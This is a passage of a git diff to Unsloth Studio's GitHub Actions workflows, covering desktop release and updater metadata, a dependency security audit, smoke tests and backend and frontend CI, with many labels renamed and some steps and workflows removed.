requested version') - PY - else - release_flags=( - --title "Unsloth Studio (Desktop) ${STUDIO_VERSION}" - --notes-file "$notes_file" - --target "$GITHUB_SHA" - ) - if [ "$RELEASE_DRAFT" = "true" ]; then - release_flags+=(--draft) - fi - if [ "$DESKTOP_PRERELEASE" = "true" ]; then - release_flags+=(--prerelease) - fi - gh release create "$DESKTOP_RELEASE_TAG" "${release_flags[@]}" - fi - - - name: Publish versioned release assets - shell: bash - env: - GH_TOKEN: ${{ github.token }} - run: | - set -euo pipefail - gh release upload "$DESKTOP_RELEASE_TAG" "$RUNNER_TEMP/desktop-release-assets"/* --clobber - - - name: Generate and publish versioned updater metadata - shell: bash - env: - GH_TOKEN: ${{ github.token }} - run: | - set -euo pipefail - python3 <<'PY' - import datetime - import json - import os - import pathlib - import sys - import urllib.parse - - asset_dir = pathlib.Path(os.environ['RUNNER_TEMP'], 'desktop-release-assets') - files = [path for path in asset_dir.iterdir() if path.is_file()] - - def exactly_one(suffix: str) -> pathlib.Path: - matches = [path for path in files if path.name.endswith(suffix)] - if len(matches) != 1: - sys.exit(f'Expected exactly one {suffix} updater asset, found {len(matches)}') - return matches[0] - - def entry(signature_suffix: str) -> dict[str, str]: - signature_path = exactly_one(signature_suffix) - bundle_name = signature_path.name.removesuffix('.sig') - bundle_path = asset_dir / bundle_name - if not bundle_path.is_file(): - sys.exit(f'Missing updater bundle for {signature_path.name}: {bundle_name}') - encoded_tag = urllib.parse.quote(os.environ['DESKTOP_RELEASE_TAG'], safe='') - encoded_name = urllib.parse.quote(bundle_name, safe='') - return { - 'signature': signature_path.read_text(), - 'url': ( - f'https://github.com/{os.environ["GITHUB_REPOSITORY"]}/releases/download/' - f'{encoded_tag}/{encoded_name}' - ), - } - - darwin = entry('.app.tar.gz.sig') - linux = entry('.AppImage.sig') - windows = entry('.exe.sig') - notes = pathlib.Path(os.environ['RUNNER_TEMP'], 'desktop-release-notes.md').read_text() - metadata = { - 'version': os.environ['APP_VERSION'], - # App version is SemVer; CHANGELOG.md is keyed by the backend release. - 'pypi_version': os.environ['PYPI_VERSION'], - 'notes': notes, - 'pub_date': datetime.datetime.now(datetime.timezone.utc).isoformat(timespec='milliseconds').replace('+00:00', 'Z'), - 'platforms': { - 'darwin-aarch64': darwin, - 'darwin-aarch64-app': darwin, - 'linux-x86_64': linux, - 'linux-x86_64-appimage': linux, - 'windows-x86_64': windows, - 'windows-x86_64-nsis': windows, - }, - } - output = pathlib.Path(os.environ['RUNNER_TEMP'], 'latest.json') - output.write_text(json.dumps(metadata, indent=2) + '\n') - PY - gh release upload "$DESKTOP_RELEASE_TAG" "$RUNNER_TEMP/latest.json" --clobber - - name: Download versioned updater metadata - if: ${{ !inputs.draft }} shell: bash env: GH_TOKEN: ${{ github.token }} @@ -956,7 +790,6 @@ jobs: test -s "$RUNNER_TEMP/desktop-updater/latest.json" - name: Validate versioned updater metadata - if: ${{ !inputs.draft }} shell: bash run: | python3 <<'PY' @@ -1016,7 +849,6 @@ jobs: PY - name: Ensure desktop updater channel release - if: ${{ !inputs.draft }} shell: bash env: GH_TOKEN: ${{ github.token }} @@ -1049,7 +881,6 @@ jobs: PY - name: Prevent updater channel downgrade - if: ${{ !inputs.draft }} shell: bash env: GH_TOKEN: ${{ github.token }} @@ -1140,7 +971,6 @@ jobs: PY - name: Publish desktop updater channel metadata - if: ${{ !inputs.draft }} shell: bash env: GH_TOKEN: ${{ github.token }} diff --git a/.github/workflows/security-audit.yml b/.github/workflows/security-audit.yml index 27eafbedea..0ef2ad1e9d 100644 --- a/.github/workflows/security-audit.yml +++ b/.github/workflows/security-audit.yml @@ -2,8 +2,8 @@ # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. # Multi-language supply-chain audit. Triggers: -# - PRs touching any dependency manifest (Python / npm / Cargo), a -# scanner or its allowlist baseline, or this workflow file, +# - PRs touching any dependency manifest (Python / npm / Cargo) or +# this workflow file, # - push to main / pip, # - nightly @ 04:13 UTC so newly-published advisories surface even # when no PR opens, @@ -36,8 +36,8 @@ # - unsloth `huggingfacenotorch` extras (the canonical install path # for fine-tuning users; pulls transformers / peft / accelerate / # trl / datasets / diffusers / sentence-transformers / etc.) -# - all six Unsloth backend requirements files -# - Unsloth frontend (npm) and Tauri shell (cargo) +# - all six Studio backend requirements files +# - Studio frontend (npm) and Tauri shell (cargo) # Each Python step builds a filtered dep list from pyproject.toml + # requirements/*.txt before auditing. We do NOT install any of these # -- pip-audit resolves through PyPI metadata, scan_packages.py @@ -57,9 +57,7 @@ on: - 'studio/src-tauri/Cargo.lock' - 'pyproject.toml' - 'scripts/scan_packages.py' - - 'scripts/scan_packages_baseline.json' - 'scripts/scan_npm_packages.py' - - 'scripts/scan_npm_packages_baseline.json' - '.github/workflows/security-audit.yml' push: branches: [main, pip] @@ -218,7 +216,7 @@ jobs: # on the runner). A comment line is left in place so the # skipped specs are obvious in the artifact. # The `huggingface` extra is `huggingfacenotorch` plus torch / - # torchvision / triton, deliberately skipped: Unsloth backend + # torchvision / triton, deliberately skipped: Studio backend # already pins a torch and the +cu* / +cpu local-version tags # trip up the PyPI resolver in `-r` mode. run: | @@ -253,7 +251,7 @@ jobs: # `-r requirements.txt` resolves the requirements through pip's # dependency resolver against PyPI metadata and audits the # resolved tree without ever executing setup.py / install - # hooks. Way faster than installing the full Unsloth runtime + # hooks. Way faster than installing the full Studio runtime # and -- critically -- safer: an attacker who has compromised # a transitive dep cannot run code in this job. # @@ -326,9 +324,9 @@ jobs: } >> "$GITHUB_STEP_SUMMARY" # ───────────────────────────────────────────────────────────── - # npm: Unsloth frontend + # npm: Studio frontend # ───────────────────────────────────────────────────────────── - - name: npm audit (Unsloth frontend) + - name: npm audit (Studio frontend) # `npm audit` resolves the lockfile through the npmjs.com # advisory DB. `--audit-level=high` filters the noise floor # to only HIGH and CRITICAL. We do NOT pass --omit=dev: a @@ -342,7 +340,7 @@ jobs: # Always also write the full JSON for grep-ability. npm audit --json > ../../logs-npm-audit.json || true { - echo "## npm audit (Unsloth frontend)" + echo "## npm audit (Studio frontend)" echo echo '```' tail -200 ../../logs-npm-audit.txt @@ -350,9 +348,9 @@ jobs: } >> "$GITHUB_STEP_SUMMARY" # ───────────────────────────────────────────────────────────── - # cargo: Unsloth Tauri shell + # cargo: Studio Tauri shell # ───────────────────────────────────────────────────────────── - - name: cargo audit (Unsloth Tauri) + - name: cargo audit (Studio Tauri) # `--deny warnings` would make the job fail on any advisory. # Keep non-blocking initially; drop continue-on-error after # the baseline closes. @@ -362,7 +360,7 @@ jobs: set +e cargo audit | tee ../../logs-cargo-audit.txt { - echo "## cargo audit (Unsloth Tauri)" + echo "## cargo audit (Studio Tauri)" echo echo '```' tail -200 ../../logs-cargo-audit.txt @@ -559,7 +557,7 @@ jobs: # ───────────────────────────────────────────────────────────── # CycloneDX SBOM. Lets downstream consumers audit what's - # actually shipped in unsloth wheels and the Unsloth backend + # actually shipped in unsloth wheels and the Studio backend # runtime. Generates one JSON file per requirements input plus # a combined SBOM keyed off pyproject.toml; uploads as a build # artifact (and a future step can attest it via SLSA). @@ -740,7 +738,7 @@ jobs: # `--with-deps` makes the scan transitive: every package the # declared set resolves to gets fetched and pattern-scanned, not # just the top-level pins. Resolving the full transitive closure - # of the unsloth + Unsloth dep tree downloads several hundred + # of the unsloth + Studio dep tree downloads several hundred # archives, hence the longer timeout. # # Sharded across runners for wall-clock parallelism. Each shard @@ -749,7 +747,7 @@ jobs: # composition tries to balance load: # - hf-stack: pyproject extras + no-torch-runtime # (~150 archives, transformers/peft/accelerate/...) - # - studio: FastAPI/Unsloth backend + overrides + extras-no-deps + # - studio: FastAPI/Studio backend + overrides + extras-no-deps # (~150 archives, smaller scientific stack) # - extras: the heavy openai-whisper / scikit-learn / librosa # stack (~250 archives, dominant cost) @@ -964,7 +962,7 @@ jobs: # documented at scripts/scan_npm_packages.py top-of-file. The # script is stdlib-only so adding it does not increase the # transitive supply-chain surface. - name: npm scan-packages (Unsloth frontend tarballs) + name: npm scan-packages (Studio frontend tarballs) runs-on: ubuntu-latest timeout-minutes: 30 needs: [] @@ -1173,7 +1171,7 @@ jobs: with: python-version: '3.12' - - name: Install Unsloth frontend deps (--ignore-scripts) + - name: Install Studio frontend deps (--ignore-scripts) # `npm audit signatures` requires node_modules to be populated. # `--ignore-scripts` is mandatory: this is exactly the lever the # new-install-script gate below protects against, and we must diff --git a/.github/workflows/startup-profile-ci.yml b/.github/workflows/startup-profile-ci.yml deleted file mode 100644 index fbde99836d..0000000000 --- a/.github/workflows/startup-profile-ci.yml +++ /dev/null @@ -1,156 +0,0 @@ -# SPDX-License-Identifier: AGPL-3.0-only -# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. - -# Measures where Studio's startup time goes, on each platform. -# -# Nothing recorded a number before: main.py logs "lifespan startup completed in X ms" -# and studio_test_kit polls /healthz, but both throw the elapsed time away. A first -# local run (Linux, warm cache, 18-core server) put `import main` at 5.7-6.6s BEFORE -# the server can bind, dominated by eager module-level imports pulled in by routes: -# torch ~1.9s self, unsloth_zoo ~0.8s, routes ~0.6s, transformers ~0.5s. -# -# Not a gate yet: --max-healthz-seconds exists, but a budget should come from -# observed numbers rather than a guess. - -name: Startup profile - -on: - pull_request: - paths: - # The measured import graph is the whole backend tree: main.py imports auth, - # core, hub, loggers, models, picker, routes and utils at module scope. - - 'studio/backend/**' - - '!studio/backend/tests/**' - # The launch phase spawns `unsloth studio --api-only`, so the CLI counts too. - - 'unsloth_cli/**' - - 'studio/src-tauri/src/preflight**' - # The profiler hardcodes the desktop argv that process.rs::backend_args builds, - # so a change there must schedule a run or the two silently diverge. - - 'studio/src-tauri/src/process.rs' - - 'scripts/profile_startup.py' - - '.github/workflows/startup-profile-ci.yml' - # The job profiles whatever `install.sh --local` built: the installers pick the - # venv's Python and the dependency specs, and pyproject's include list is what - # makes --local overlay studio.backend*. - - 'install.sh' - - 'install.ps1' - - 'pyproject.toml' - # --local also runs the checkout's setup scripts (install.sh picks - # $_REPO_ROOT/studio/setup.sh, the editable install resolves setup.ps1 to the - # repo), and both call install_python_stack.py, which picks the dependencies. - - 'studio/setup.sh' - - 'studio/setup.ps1' - - 'studio/install_python_stack.py' - workflow_dispatch: - inputs: - repeats: - description: 'launch repeats per OS (median reported)' - type: string - default: '3' - -concurrency: - group: ${{ github.workflow }}-${{ github.ref }} - cancel-in-progress: true - -permissions: - contents: read - -jobs: - profile: - name: startup ${{ matrix.os }} - runs-on: ${{ matrix.os }} - timeout-minutes: 60 - continue-on-error: true - strategy: - fail-fast: false - matrix: - os: [ubuntu-latest, macos-14, windows-latest] - - env: - UNSLOTH_STUDIO_HOME: ${{ github.workspace }}/.studio-home - # A wildcard bind calls ifconfig.me on the startup path; loopback times our code. - UNSLOTH_STUDIO_DISABLE_PUBLIC_CHECK: '1' - - steps: - - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - with: - persist-credentials: false - - - name: Install Studio - shell: bash - env: - GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - run: | - set -o pipefail - mkdir -p logs - # --local is load-bearing: it overlays the checkout, so the profiled server - # is this diff. Without it install.sh resolves unsloth from PyPI. - if [ "${{ runner.os }}" = "Windows" ]; then - pwsh -NoProfile -File ./install.ps1 --local 2>&1 | tee logs/install.log - else - bash install.sh --local 2>&1 | tee logs/install.log - fi - - - name: Profile startup - shell: bash - run: | - BIN="$UNSLOTH_STUDIO_HOME/unsloth_studio/bin/unsloth" - [ -x "$BIN" ] || BIN="$UNSLOTH_STUDIO_HOME/unsloth_studio/Scripts/unsloth.exe" - [ -x "$BIN" ] || BIN="" - # Profile imports with the INSTALLED interpreter: that venv is what launches. - PY="$UNSLOTH_STUDIO_HOME/unsloth_studio/bin/python" - [ -x "$PY" ] || PY="$UNSLOTH_STUDIO_HOME/unsloth_studio/Scripts/python.exe" - [ -x "$PY" ] || PY="$(command -v python3 || command -v python)" - python3 scripts/profile_startup.py \ - --python "$PY" \ - ${BIN:+--bin "$BIN"} \ - --repeats "${{ inputs.repeats || '3' }}" \ - --json "startup-${{ matrix.os }}.json" 2>&1 | tee logs/profile.log - - - name: Summary - if: always() - shell: bash - run: | - f="startup-${{ matrix.os }}.json" - [ -f "$f" ] || { echo "no profile produced"; exit 0; } - python3 - "$f" >> "$GITHUB_STEP_SUMMARY" <<'PY' - import json, sys - d = json.load(open(sys.argv[1])) - print(f"### {d['platform']} / {d['machine']} (py {d['python']}, {d['cpu_count']} cpu)\n") - imp = d.get("imports", {}) - # Gate on ok: a failed `import main` still leaves rows, so a total can lie. - if imp.get("ok"): - print(f"**`import main`: {imp['total_seconds']}s**\n") - print("| package | self ms |") - print("|---|---:|") - for k, v in list(imp.get("self_by_package_ms", {}).items())[:8]: - print(f"| {k} | {v} |") - print() - else: - print("**`import main` failed - no valid import profile**\n") - print("```\n" + (imp.get("error") or "")[-1500:] + "\n```\n") - lau = d.get("launch") or {} - runs = len(lau.get("runs") or []) - failed = lau.get("failed_runs") or 0 - if lau.get("healthz_median_seconds") is not None: - # The aggregates cover only the runs that reached healthz, so flag the - # failures: bare numbers would read as a normal fast startup. - note = f" _({runs - failed} of {runs} launches; {failed} never became healthy)_" if failed else "" - print(f"**time to a healthy port: {lau['healthz_median_seconds']}s median, " - f"{lau['healthz_max_seconds']}s max**{note}\n") - elif lau.get("skipped"): - print(f"_launch phase skipped: {lau['skipped']}_\n") - elif runs: - print(f"**no launch measurement: all {runs} launches failed to become healthy**\n") - PY - - - name: Upload profile - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 - with: - name: startup-profile-${{ matrix.os }} - path: | - startup-*.json - logs/ - retention-days: 14 - if-no-files-found: warn diff --git a/.github/workflows/studio-api-smoke.yml b/.github/workflows/studio-api-smoke.yml index 1cfa66fea4..15efee382e 100644 --- a/.github/workflows/studio-api-smoke.yml +++ b/.github/workflows/studio-api-smoke.yml @@ -1,7 +1,7 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. -# Unsloth API & Auth Tests -- HTTP-level integration tests for the +# Studio API & Auth Tests -- HTTP-level integration tests for the # FastAPI surface. No Playwright, no model UI; tests/studio/test_studio_api_smoke.py # runs ~30 s and asserts: # - CORS hardening (no wildcard + credentials, no bootstrap leak) @@ -15,7 +15,7 @@ # Reuses the GGUF cache key from studio-ui-smoke.yml so the model # download is one cache-hit on the second job. -name: Unsloth API CI +name: Studio API CI on: pull_request: @@ -40,7 +40,7 @@ permissions: jobs: api-smoke: - name: Unsloth API & Auth Tests + name: Studio API & Auth Tests runs-on: ubuntu-latest timeout-minutes: 12 env: @@ -98,7 +98,7 @@ jobs: path: hf-cache key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2 - - name: Install Unsloth (--local, --no-torch) + - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. @@ -111,10 +111,9 @@ jobs: - name: Install pyjwt for the JWT-expiry forge test run: pip install 'pyjwt>=2.6' - - name: Reset auth + boot Unsloth (API-only) + - name: Reset auth + boot Studio (API-only) run: | - # Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password. - rm -rf ~/.unsloth/studio/auth + unsloth studio reset-password mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -145,7 +144,7 @@ jobs: echo "STUDIO_NEW_PW=$NEW" >> "$GITHUB_ENV" echo "STUDIO_NEW2_PW=$NEW2" >> "$GITHUB_ENV" - - name: Run Unsloth API & Auth tests + - name: Run Studio API & Auth tests # The script is named WITHOUT a `test_` prefix so it isn't # auto-collected by pytest in Backend CI's `tests/` walk # (which doesn't set BASE_URL and would crash at import). @@ -154,7 +153,7 @@ jobs: STUDIO_AUTH_DIR: /home/runner/.unsloth/studio/auth run: python tests/studio/studio_api_smoke.py - - name: Stop Unsloth + - name: Stop Studio if: always() run: | kill "${STUDIO_PID}" 2>/dev/null || true diff --git a/.github/workflows/studio-backend-ci.yml b/.github/workflows/studio-backend-ci.yml index dd5efbb299..ea60252cf6 100644 --- a/.github/workflows/studio-backend-ci.yml +++ b/.github/workflows/studio-backend-ci.yml @@ -30,13 +30,6 @@ on: - 'unsloth/**' - 'unsloth_cli/**' - 'tests/**' - # The root installers: tests/sh/*.sh and tests/studio/install/* assert - # against these two files, so a change here must run the suite that - # covers it. Without them an install-only edit (the shape most AMD/ROCm - # routing fixes take) skipped Backend CI entirely. - - 'install.sh' - - 'install.ps1' - - 'scripts/**' - 'pyproject.toml' - '.github/workflows/studio-backend-ci.yml' push: @@ -71,20 +64,19 @@ jobs: - name: Install backend test dependencies (CPU only) run: | python -m pip install --upgrade pip - # Unsloth's declared backend deps: + # Studio's declared backend deps: pip install -r studio/backend/requirements/studio.txt # Extras that studio.txt does not list but the import chain needs # (python-multipart for FastAPI form/file uploads, sqlalchemy/cryptography - # for the auth DB, yaml/jinja2 for utils.models.model_config, psutil for - # the orphan-cleanup process scan, etc.): + # for the auth DB, yaml/jinja2 for utils.models.model_config, etc.): pip install \ - python-multipart aiofiles sqlalchemy cryptography psutil \ + python-multipart aiofiles sqlalchemy cryptography \ pyyaml jinja2 mammoth unpdf requests \ 'numpy<3' pytest pytest-asyncio httpx # Torch CPU + transformers are required by a chunk of the backend test # suite (gpu_selection, kv_cache_estimation, utils). CPU-only torch # keeps the install ~250 MB / ~1 min on a clean runner. - pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple 'torch>=2.4,<2.11' + pip install --index-url https://download.pytorch.org/whl/cpu 'torch>=2.4,<2.11' pip install 'transformers>=4.51,<5.5' - name: Backend tests @@ -141,11 +133,11 @@ jobs: python -m pip install --upgrade pip pip install -r studio/backend/requirements/studio.txt pip install \ - python-multipart aiofiles sqlalchemy cryptography psutil \ + python-multipart aiofiles sqlalchemy cryptography \ pyyaml jinja2 mammoth unpdf requests typer \ 'numpy<3' pytest pytest-asyncio httpx # torchvision: unsloth_zoo.vision_utils imports it at module scope. - pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \ + pip install --index-url https://download.pytorch.org/whl/cpu \ 'torch>=2.4,<2.11' 'torchvision<0.26' pip install 'transformers>=4.51,<5.5' # bitsandbytes: hard import in unsloth/models/_utils.py. Recent @@ -200,7 +192,6 @@ jobs: --ignore=tests/sh \ --ignore=tests/studio/test_hardware_dispatch_matrix.py \ --ignore=tests/studio/test_is_mlx_dispatch_gate.py \ - --ignore=tests/studio/test_xpu_spoof_pipeline.py \ --ignore=tests/vllm_compat \ --ignore=tests/version_compat \ -m 'not server and not e2e' \ @@ -213,53 +204,34 @@ jobs: env: PYTHONPATH: ${{ github.workspace }}/studio UNSLOTH_COMPILE_DISABLE: '1' - # These files mutate hardware.py module globals at runtime via the - # spoof fixtures (CUDA/ROCm/XPU/MLX/CPU), which leaks state into any - # other test that imports hardware. Run them in their own pytest - # invocation so the leak does not cross file boundaries. + # These two files mutate hardware.py module globals at runtime + # via the spoof fixtures, which leaks state into any other test + # that imports hardware. Run them in their own pytest invocation + # so the leak does not cross file boundaries. run: | python -m pytest -q --tb=short \ tests/studio/test_hardware_dispatch_matrix.py \ - tests/studio/test_is_mlx_dispatch_gate.py \ - tests/studio/test_xpu_spoof_pipeline.py - - - name: CLI tests (unsloth_cli) - # unsloth_cli/tests had no CI at all: `unsloth_cli/**` was only a paths - # trigger and a ruff target, so 673 tests covering the studio launcher, - # the pre-exposure gate and the auth secret writers ran nowhere, and - # four of them had been failing on main unnoticed. - # Own step, not folded into the tests/ discovery above: pyproject's - # testpaths is tests/, and this suite needs no PYTHONPATH or CUDA spoof - # (it self-bootstraps sys.path and imports neither unsloth nor torch). - run: python -m pytest unsloth_cli/tests -q --tb=short + tests/studio/test_is_mlx_dispatch_gate.py - name: Shell installer tests - # Auto-discovered rather than allowlisted. The old hardcoded list had - # silently fallen seven files behind tests/run_all.sh, including - # test_strixhalo_wsl_reroute.sh -- the only shell coverage of the ROCm - # WSL reroute -- so that suite never ran on a PR. Skips are explicit, - # each with a reason, and tests/studio/test_ci_shell_suite_coverage.py - # fails if this step stops discovering the directory or the skip list - # grows without one. - # - # Skipped: - # test_install_host_defaults.sh: asserts an install.ps1 layout that - # has drifted (separate followup). - # test_install_rollback_lifecycle.sh: already runs on both platforms - # in cross-platform-parity-ci.yml. + # Subset that does not depend on a writable / pristine install.sh + # tree; test_install_host_defaults.sh checks install.ps1 layout + # which has drifted (separate followup). run: | set -e - skip="test_install_host_defaults.sh test_install_rollback_lifecycle.sh" - found=0 - for s in tests/sh/test_*.sh; do - case " $skip " in - *" $(basename "$s") "*) echo "skipping $s (see workflow comment)"; continue ;; - esac - found=$((found + 1)) + for s in \ + tests/sh/test_get_torch_index_url.sh \ + tests/sh/test_mac_intel_compat.sh \ + tests/sh/test_node_decision.sh \ + tests/sh/test_studio_home_node_dir.sh \ + tests/sh/test_system_node_readonly.sh \ + tests/sh/test_nvcc_meets_llama_minimum.sh \ + tests/sh/test_resolve_cuda_archs.sh \ + tests/sh/test_tauri_install_exit_order.sh \ + tests/sh/test_torch_constraint.sh \ + tests/sh/test_torch_flavor.sh; do echo "::group::$s" bash "$s" echo "::endgroup::" done - [ "$found" -gt 0 ] || { echo "::error::no shell tests discovered under tests/sh"; exit 1; } - echo "ran $found shell installer test files" diff --git a/.github/workflows/studio-export-capability-ci.yml b/.github/workflows/studio-export-capability-ci.yml deleted file mode 100644 index 83df3ed476..0000000000 --- a/.github/workflows/studio-export-capability-ci.yml +++ /dev/null @@ -1,76 +0,0 @@ -# SPDX-License-Identifier: AGPL-3.0-only -# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. - -# Runs studio/backend/tests/test_export_capability.py on Linux, Windows and macOS. -# -# export_capability() is per-OS (is_apple_silicon() and the PyTorch-import probe differ per -# platform) and the export backend must import without PyTorch, so this confirms the gating and -# import-safety on hosted Windows/macOS. Hosted runners have no GPU/MLX, so a real accelerator -# export is validated separately. No GPU / model / llama.cpp: the tests mock the probes and block -# torch/unsloth, so the job installs only a CPU PyTorch plus import deps. - -name: Unsloth export capability - -on: - pull_request: - paths: - - 'studio/backend/utils/hardware/hardware.py' - - 'studio/backend/core/export/export.py' - - 'studio/backend/routes/export.py' - - 'studio/backend/main.py' - - 'studio/backend/tests/test_export_capability.py' - - '.github/workflows/studio-export-capability-ci.yml' - push: - branches: [main] - paths: - - 'studio/backend/utils/hardware/hardware.py' - - 'studio/backend/core/export/export.py' - - 'studio/backend/routes/export.py' - - 'studio/backend/main.py' - - 'studio/backend/tests/test_export_capability.py' - - '.github/workflows/studio-export-capability-ci.yml' - workflow_dispatch: - -concurrency: - group: ${{ github.workflow }}-${{ github.ref }} - cancel-in-progress: true - -permissions: - contents: read - -jobs: - capability: - name: capability (${{ matrix.os }}) - strategy: - fail-fast: false - matrix: - os: [ubuntu-latest, windows-latest, macos-latest] - runs-on: ${{ matrix.os }} - timeout-minutes: 20 - env: - # No accelerator on hosted runners; keep detection on the CPU path. - CUDA_VISIBLE_DEVICES: "" - steps: - - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - with: - persist-credentials: false - - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 - with: - python-version: '3.12' - cache: 'pip' - - name: Upgrade pip - run: python -m pip install --upgrade pip - - name: Install CPU PyTorch - # CPU wheel index so every OS gets a CPU build; keep PyPI as an extra index so torch's - # transitive deps still resolve (matching the other workflows in this repo). - run: python -m pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple "torch>=2.4,<2.13" - - name: Install backend import deps - # Enough to import utils.hardware and core.export.export; NOT unsloth (needs a GPU, and - # the import-safety test blocks it) or triton/llama.cpp (Linux-only / native builds). - run: python -m pip install - transformers peft accelerate safetensors huggingface_hub datasets - sentencepiece protobuf fastapi starlette structlog psutil - python-multipart pydantic httpx "numpy<3" pytest - - name: Export capability + import-safety tests - working-directory: studio/backend - run: python -m pytest tests/test_export_capability.py -q diff --git a/.github/workflows/studio-frontend-ci.yml b/.github/workflows/studio-frontend-ci.yml index 773e555c8b..b42086f191 100644 --- a/.github/workflows/studio-frontend-ci.yml +++ b/.github/workflows/studio-frontend-ci.yml @@ -133,13 +133,10 @@ jobs: - name: Typecheck run: npm run typecheck - - name: Unit tests - run: npm test - - name: Build run: npm run build - - name: Built bundle must not contain Unsloth's unstable_Provider call site + - name: Built bundle must not contain Studio's unstable_Provider call site run: | set -e JS=$(ls dist/assets/index-*.js | head -1) @@ -147,7 +144,7 @@ jobs: echo "main bundle: $JS" echo "unstable_Provider: hits=$HITS (assistant-ui internals contribute up to 3)" if [ "$HITS" -gt 3 ]; then - echo "::error file=studio/frontend/src/features/chat/runtime-provider.tsx::Unsloth bundle still passes unstable_Provider through useRemoteThreadListRuntime; this is the 2026.5.1 chat-history regression. Pass adapters directly into useLocalRuntime instead." + echo "::error file=studio/frontend/src/features/chat/runtime-provider.tsx::Studio bundle still passes unstable_Provider through useRemoteThreadListRuntime; this is the 2026.5.1 chat-history regression. Pass adapters directly into useLocalRuntime instead." exit 1 fi diff --git a/.github/workflows/studio-inference-smoke.yml b/.github/workflows/studio-inference-smoke.yml index c37c9555bf..aebf90380a 100644 --- a/.github/workflows/studio-inference-smoke.yml +++ b/.github/workflows/studio-inference-smoke.yml @@ -1,7 +1,7 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. -# Three end-to-end smoke jobs that boot a freshly-installed Unsloth and +# Three end-to-end smoke jobs that boot a freshly-installed Studio and # exercise the surfaces real users hit through the OpenAI / Anthropic # SDKs and curl. Each job picks the smallest model that exercises the # behaviour under test, primes HF_HOME via actions/cache, and shares @@ -27,7 +27,7 @@ # All three jobs run in parallel. Total wall time is dominated by job 3 # on a cold cache; warm cache cuts that to ~3 min. -name: Unsloth GGUF CI +name: Studio GGUF CI on: pull_request: @@ -112,7 +112,7 @@ jobs: path: hf-cache key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2 - - name: Install Unsloth (--local, --no-torch) + - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. @@ -125,10 +125,9 @@ jobs: - name: Install OpenAI + Anthropic Python SDKs run: pip install 'openai>=1.50' 'anthropic>=0.40' - - name: Reset auth + boot Unsloth (API-only) + - name: Reset auth + boot Studio (API-only) run: | - # Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password. - rm -rf ~/.unsloth/studio/auth + unsloth studio reset-password mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -143,7 +142,7 @@ jobs: fi sleep 1 done - echo "Unsloth did not become healthy in 180s" + echo "Studio did not become healthy in 180s" tail -200 logs/studio.log exit 1 @@ -230,11 +229,11 @@ jobs: return replies def run_anthropic(): - # Two SDK quirks vs. Unsloth: + # Two SDK quirks vs. Studio: # 1. base_url must NOT include /v1 -- the SDK appends # /v1/messages itself; otherwise the request hits # /v1/v1/messages and 405s. - # 2. The SDK sends `x-api-key` by default, but Unsloth's + # 2. The SDK sends `x-api-key` by default, but Studio's # auth layer is HTTPBearer-only. Override via # default_headers so Authorization: Bearer ... is # sent instead. @@ -277,7 +276,7 @@ jobs: print( f"[{label}] WARN non-determinism at temperature=0.0 across " f"{len(determinism_failures)} of {len(first)} turn(s); " - f"small-quant model drift, not an Unsloth regression. " + f"small-quant model drift, not a Studio regression. " f"Details: " + " | ".join(determinism_failures) ) # Sanity: turn-2 reply should mention the earlier question, and @@ -291,7 +290,7 @@ jobs: print(f"[{label}] {status_word} -- 4 turns, history grounded ('paris' present)") PY - - name: Stop Unsloth + - name: Stop Studio if: always() run: | kill "${STUDIO_PID}" 2>/dev/null || true @@ -324,7 +323,7 @@ jobs: # store xet chunks + blobs + snapshots = ~4 GiB compressed -- # 4-5x file-size inflation, dominated by xet chunks. Use main's # `--local-dir gguf-cache` pattern to cache the flat .gguf only. - # Unsloth's /api/inference/load accepts either a HF repo (which + # Studio's /api/inference/load accepts either a HF repo (which # uses HF_HOME) or an absolute file path; passing the absolute # path keeps the test off HF_HOME entirely so the cache size # tracks the GGUF file 1:1. The OpenAI/Anth and JSON+images @@ -381,7 +380,7 @@ jobs: path: gguf-cache key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1 - - name: Install Unsloth (--local, --no-torch) + - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. @@ -391,7 +390,7 @@ jobs: set -o pipefail bash install.sh --local --no-torch 2>&1 | tee logs/install.log - - name: Reset auth + boot Unsloth (API-only, default tool policy) + - name: Reset auth + boot Studio (API-only, default tool policy) # We deliberately use the API-only mode rather than # `unsloth studio run` because the latter calls # `set_tool_policy(...)` with a resolved bool: on loopback the @@ -401,7 +400,7 @@ jobs: # tool_policy=None so each request's `enable_tools` field is # honoured. run: | - rm -rf ~/.unsloth/studio/auth + unsloth studio reset-password mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 